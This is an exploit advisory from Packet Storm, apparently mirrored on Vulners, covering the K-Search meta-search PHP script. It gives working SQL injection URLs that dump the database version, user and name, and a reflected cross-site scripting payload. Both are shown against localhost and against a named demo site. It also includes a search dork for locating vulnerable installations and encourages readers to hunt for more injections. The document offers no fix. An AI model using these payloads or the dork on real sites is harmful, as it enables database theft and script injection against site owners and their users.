Lucene search
K

K-Search Cross Site Scripting / SQL Injection

🗓️ 25 Jun 2010 00:00:00Reported by SangteamthamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

K-Search vulnerabilities: SQL Injection and XS

Code
`  
  
####################################################  
# Category: K-Search (SQL/XSS) Multiple Remote Vulnerabilities  
# Download: http://turn-k.net/k-search/demo  
  
# Dork: inurl:K-Search, Powered By K-Search  
# Author: Sangteamtham [at] hcegroup[dot]net  
# Homepage: HCE group - bug-z0ne.info  
####################################################  
  
Info:  
K-Search provides you a quick and easy way to start your own meta-search  
engine and earn money by displaying relevant sponsored results taken from  
Pay Per Click feeds or your own sponsors.  
  
Explain:  
when you have Sponsors Area Account, then you can edit your site, delelet  
your site...  
  
---------------------------------------------------------------------------------------------  
SQL Vulnerabilities:  
  
Exploit:  
  
http://localhost//index.php?req=edit&id=999999 And 1=0 UNION SELECT  
1,2,group_concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10/*  
  
Demo:  
  
http://ksearchdemo.com/index.php?req=edit&id=999999%20And%201=0%20UNION%20SELECT%201,2,group_concat%28version%28%29,0x3a,user%28%29,0x3a,database%28%29%29,4,5,6,7,8,9,10/*  
  
  
  
---------------------------------------------------------------------------------------------  
XSS Vulnerabilities:  
$words = $wrds = preg_split('/[\W]+?/',$en['term']);  
$misspelled = $return = array();  
  
............  
$msp = implode(' ',$words);  
$msp = str_replace('</b></i> <i><b>',' ',$msp);  
$que = implode(' ',$wrds);  
$en['spell_corrected'] = '<a  
  
Exploit:  
  
http://localhost/index.php?term="><script>alert(String.fromCharCode(Your  
charcode here))<%2Fscript>&sm=Search&source=1&req=search  
  
Demo:  
  
http://ksearchdemo.com/index.php?term=%22%3E%3Cscript%3Ealert%28String.fromCharCode%2887%2C+101%2C+108%2C+99%2C+111%2C+109%2C+101%2C+32%2C+116%2C+111%2C+32%2C+72%2C+67%2C+69%2C+32%2C+71%2C+114%2C+111%2C+117%2C+112%29%29%3C%2Fscript%3E&sm=Search&source=1&req=search  
---------------------------------------------------------------------------------------------  
Many SQL here. Check and enjoy yourself  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jun 2010 00:00Current
0.2Low risk
Vulners AI Score0.2
39